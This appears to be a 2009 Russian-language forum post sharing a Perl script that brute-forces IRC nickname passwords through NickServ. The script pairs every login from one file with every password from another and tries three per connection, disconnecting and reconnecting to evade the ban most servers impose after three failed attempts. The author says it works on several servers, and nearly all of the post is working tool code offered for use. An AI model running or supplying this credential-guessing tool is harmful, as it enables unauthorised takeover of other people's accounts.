iRC Bruter брут ников в iRC сетях.. брут осуществлен по такой схеме: connect авторизация т.к. на большенстве серверов irc присутствует бан после 3х неверных вводов пароля, поетому пробуем авторизироватса с логин1;пароль1 пробуем авторизироватса с логин2;пароль2 пробуем авторизироватса с логин3;пароль3 disconnect goto пункт 1 (и так делаем, пока не переберем все ники и пароли) проверял на нескольких серверах - работает настройки: PHP: my $server = 'сервер'; my $port = порт_сервера; my $c = сколько_логинов_за_один_раз_подбирать; my $freeze = 0.7; my $rejoin = таймаут_при_пересоединении; в logins.txt логини, в pass.txt пароли -- скрипт (perl): PHP: use strict; #/ use IO::Socket; system('cls'); #=--==-==-========================================= #=- 5.2.2009 print q[ # # iRC brute # by eLwaux(c)2009 # ]; my $server = 'сервер'; # server my $port = порт; # ip my $c = 4; # brute2 one connect my $freeze = 0.7; # change nick sleep my $rejoin = 5; # rejoin sleep #==-=-==================-========================== # loading logins open (FILE, '<logins.txt'); my @logins : shared = <FILE>; chomp(@logins); close(FILE); # loading passwords open (FILE, '<pass.txt'); my @pass : shared = <FILE>; chomp(@pass); close(FILE); print '[i] logins: '.scalar(@logins)."\n"; print ' [i] passwords: '.scalar(@pass)."\n"; # creating my list user;pasw my @aLL; foreach my $user(@logins) { foreach my $pasw(@pass) { @aLL[scalar(@aLL)]=$user."\x01".$pasw; } } print ' = '.int(scalar(@aLL))." combination(s)\n\n"; print " =-----====-=---==----=--=--=-==-=-=-==--= \n\n"; # Brute my $irc; while (@aLL) { # connect to iRC server iRC_connect($server,$port); if (iRC_auth('abc')!=0) { print " + auth\n"; for (my $i=1; $i<$c; $i++){ my $aLL = shift @aLL; goto _END if (!$aLL); my @temp = split(/\x01/,$aLL); my $_USER = $temp[0]; my $_PASW = $temp[1]; #print ' '.$_USER.' -- '.$_PASW."\n"; iRC_nick($_USER,$_PASW); sleep($freeze); } _END: } else {$rejoin++;} iRC_disconnect(); print " < disconect\n\n"; sleep($rejoin); } print " =-----====-=---==----=--=--=-==-=-=-==--= \n\n"; <stdin>; #=-===========-======= #-= functionS -======= #==-=-=========================-=================== sub iRC_connect { # server, port $irc = new IO::Socket::INET( PeerAddr => $_[0], PeerPort => $_[1], Timeout => 1, Proto => 'tcp') or die(" [-] can't connect to server ".$server.':'.$port."\n"); print " > connect\n"; } sub iRC_disconnect { close($irc); } sub iRC_auth { # nick my $result = 1; print $irc "NICK $_[0]\r\n"; print $irc "USER $_[0] 8 * :$_[0]\r\n"; while (my $input = <$irc>) { chop($input); # print $input."====\n"; if ($input =~ /433/) { print ' [-] nickname "'.$_[0].'" is already in use..'; $result = 0; last; } elsif ($input =~ /^PING(.*)$/i) { print $irc "PONG $1\r\n"; } elsif ($input =~ /Reconnecting too fast/) { print " - reconnecting too fast\n"; $result = 0; last; } elsif ($input =~ /MODE\s.*:+/) { last; } } return $result; } sub iRC_nick { # nick, password print $irc "NICK ".$_[0]."\r\n"; # change nick print $irc "PRIVMSG NickServ IDENTIFY ".$_[1]."\r\n"; while (my $answ = <$irc>) { if ($answ =~ /не зарег/) { print " - unreg ".$_[0]."\n"; goto _NEXT; } elsif ($answ =~ /Неверный/) { print " - bad passw ".$_[1]."\n"; goto _NEXT; } elsif ($answ =~ /Пароль принят/) { print " +++ GOOD ".$_[0].":".$_[1]."\n";goto _NEXT; } } _NEXT: }